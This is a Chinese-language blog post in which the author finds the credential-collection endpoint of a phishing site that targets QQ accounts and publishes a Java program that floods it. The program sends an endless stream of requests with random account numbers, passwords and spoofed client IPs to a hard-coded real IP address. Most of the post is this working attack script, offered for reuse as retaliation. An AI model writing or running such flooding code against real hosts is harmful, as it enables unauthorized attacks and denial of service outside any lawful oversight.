記一次攻擊釣魚網站

無聊中的我，收到一個郵件 裏面告訴我 個人qq帳號存在風險

​

這我的竟然想搞我qq

​

從域名就能夠判斷出 是釣魚網站因而我想給他來點刺激的

第一步找到他的接口地址

​

用於用谷歌網絡調試去抓包發如今點擊登陸後 他會把帳號密碼發送到他服務器中

第二部寫一個程序 攻擊他，讓他的數據庫數據暴增

package com.write.test;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.List;
import java.util.Map;


/**
 * @做者: tjx
 * @描述:
 * @建立時間: 建立於16:00 2018/12/4
 **/
class DoGet implements Runnable{


    public static String sendGet(String url, String param) {
        String result = "";
        String urlName = url + "?" + param;
        try {
            URL realURL = new URL(urlName);
            URLConnection conn = realURL.openConnection();
            conn.setRequestProperty("accept", "*/*");
            conn.setRequestProperty("connection", "Keep-Alive");
            conn.setRequestProperty("user-agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
            conn.connect();
            Map<String, List<String>> map = conn.getHeaderFields();
            for (String s : map.keySet()) {
                System.out.println(s + "-->" + map.get(s));
            }
            BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream(), "utf-8"));
            String line;
            while ((line = in.readLine()) != null) {
                result += "\n" + line;
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return result;
    }


    @Override
    public void run() {

        while (true){
            //隨機帳號
            String n = (int)((Math.random()*9+1)*1000000000)+"";
            String p = (int)((Math.random()*9+1)*10000000)+"";
            int ip = (int)((Math.random()*9+1)*100);
            String url = "http://185.227.153.30:5000/accountadd?n="+n+"&p="+p+"&cip=116."+ip+".238.243&cname=%E5%B9%BF%E4%B8%9C%E7%9C%81%E6%B7%B1%E5%9C%B3%E5%B8%82&u=4&t=3?qqdrsign";
            System.out.println(url);
            sendGet(url,null);
        }
    }
}
public class Fishing {




    public static void main(String[] args) {

        for (int i = 0;i<5;i++){
            DoGet doGet = new DoGet();
            doGet.run();
        }



    }
}
複製代碼